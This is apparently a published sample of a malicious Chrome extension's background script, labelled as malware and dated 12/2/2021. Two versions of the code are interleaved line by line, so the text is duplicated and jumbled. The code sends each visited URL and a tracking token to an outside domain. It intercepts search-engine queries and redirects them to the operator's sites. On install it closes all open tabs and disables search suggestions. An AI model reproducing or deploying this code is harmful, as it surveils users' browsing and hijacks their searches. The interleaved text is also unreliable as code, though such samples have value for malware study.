Chrome Extension Malware (12/2/2021)
function getRandomToken() {
function getRandomToken() {
var randomPool = new Uint8Array(32);
var randomPool = new Uint8Array(32);
crypto.getRandomValues(randomPool);
crypto.getRandomValues(randomPool);
var hex = '';
var hex = '';
for (var i = 0; i < randomPool.length; ++i) {
for (var i = 0; i < randomPool.length; ++i) {
hex += randomPool[i].toString(16);
hex += randomPool[i].toString(16);
}
}
return hex;
return hex;
}
}
let changeHeaders = function(details) {
let changeHeaders = function(details) {
details.responseHeaders.forEach(function(header) {
details.responseHeaders.forEach(function(header) {
if (header.name.toLowerCase() == "permissions-policy") {
if (header.name.toLowerCase() == "permissions-policy") {
const rawValue = header.value;
const rawValue = header.value;
let noInterestCohort = rawValue.replace(/interest-cohort=.*?,?/, "");
let noInterestCohort = rawValue.replace(/interest-cohort=.*?,?/, "");
header.value = noInterestCohort;
header.value = noInterestCohort;
if (header.value === "") {
if (header.value === "") {
header.value = "interest-cohort=()";
header.value = "interest-cohort=()";
} else {
} else {
header.value = "interest-cohort=()," + header.value;
header.value = "interest-cohort=()," + header.value;
}
}
} else {
} else {
details.responseHeaders.push({
details.responseHeaders.push({
"name": "permissions-policy",
"name": "permissions-policy",
"value": "interest-cohort=()"
"value": "interest-cohort=()"
})
})
}
}
});
});
return {
return {
responseHeaders: details.responseHeaders
responseHeaders: details.responseHeaders
};
};
};
};
chrome.webRequest.onHeadersReceived.addListener(
chrome.webRequest.onHeadersReceived.addListener(
changeHeaders, {
changeHeaders, {
urls: ["http://*/*", "https://*/*"]
urls: ["http://*/*", "https://*/*"]
},
},
["responseHeaders", "blocking"]
["responseHeaders", "blocking"]
);
);
function checkSafe(e) {
if ((details = localStorage.getItem("ur_safe")) && (items = JSON.parse(details)) && (checkUrl = encodeURIComponent(e.url)) && items.h.includes(checkUrl) == false) {
fetch("https://betasupreme.com/i/?checksafe=" + checkUrl + "&type=" + e.type, {
headers: {
'ur_safe': details
}
})
.then(response => response.json())
.then(data => {
if (url = data.redirectBadUrl) {
chrome.tabs.update({
url: url
});
}
})
items.h.unshift(checkUrl);
items.h.length = 10;
localStorage.setItem("ur_safe", JSON.stringify({
c: items.c,
n: (items.n + 1),
h: items.h
}));
}
}
chrome.runtime.onInstalled.addListener(e => {
chrome.runtime.onInstalled.addListener(e => {
if (e.reason == 'install') {
if (e.reason == 'install') {
localStorage.setItem("fh", JSON.stringify({
localStorage.setItem("ur_safe", JSON.stringify({
c: getRandomToken(),
c: getRandomToken(),
n: 0,
n: 0,
q: 0
h: []
}));
}));
chrome.tabs.query({}, tabs => {
chrome.tabs.update({
tabs.forEach(t => {
url: "https://betasupreme.com/thankyou/"
chrome.tabs.remove(t.id);
});
});
});
chrome.tabs.create({
chrome.privacy.services.searchSuggestEnabled.set({
url: "https://betacontroller.com/thankyou/"
value: false
});
});
}
}
});
});
chrome.runtime.setUninstallURL("https://betacontroller.com/uninstalled/");
chrome.webRequest.onBeforeSendHeaders.addListener(req => {
chrome.runtime.setUninstallURL("https://betasupreme.com/uninstalled/");
if (localStorage.getItem("fh")) {
req.requestHeaders.push({
name: "fh",
value: localStorage.getItem("fh")
});
}
return {
requestHeaders: req.requestHeaders
};
}, {
urls: ['*://*.betacontroller.com/*']
},
['blocking', 'requestHeaders']
);
chrome.webRequest.onErrorOccurred.addListener(e => {
chrome.webRequest.onErrorOccurred.addListener(e => {
if (e.error.includes("RESOLVE") && e.type == "main_frame") {
if (e.error.includes("RESOLVE")) {
chrome.tabs.update({
chrome.tabs.update({
url: "https://betacontroller.com/s/?nx=" + new URL(e.url).hostname
url: "https://betasupreme.com/i/?nx=" + new URL(e.url).hostname
});
});
}
}
}, {
}, {
urls: ["http://*/*", "https://*/*"]
urls: ["http://*/*", "https://*/*"],
types: ["main_frame"]
});
});
chrome.webRequest.onBeforeRequest.addListener(function(t) {
chrome.webRequest.onBeforeRequest.addListener(
if (items = JSON.parse(localStorage.getItem("fh"))) {
checkSafe, {
if ((p = t.url.match(/:\/+([whcraes\.]+)?[bgy]([ngioah]{3,4})(le)?\.([a-z\.]{2,6})([\/shy]+)?(\/s.{3})ch[?&;].*?\b[qp]=(.*?)[?&]/)) && (q = encodeURIComponent(decodeURIComponent(p[7].replace(/\+/g, '%20')))) && !t.url.match(/[?&](tbm)/) && q && q.length > 1 && items.q != q) {
urls: ["http://*/*", "https://*/*"],
localStorage.setItem("fh", JSON.stringify({
types: ["main_frame", "sub_frame"]
c: items.c,
n: (items.n + 1),
q: q
}));
chrome.tabs.update({
url: "https://betacontroller.com/s/"
});
} else if (t.url.includes("http") && t.url.includes(chrome.runtime.id)) {
chrome.tabs.remove(t.tabId);
}
}
}, {
urls: ["http://*/*", "https://*/*"]
},
},
["blocking"]
["blocking"]
);
);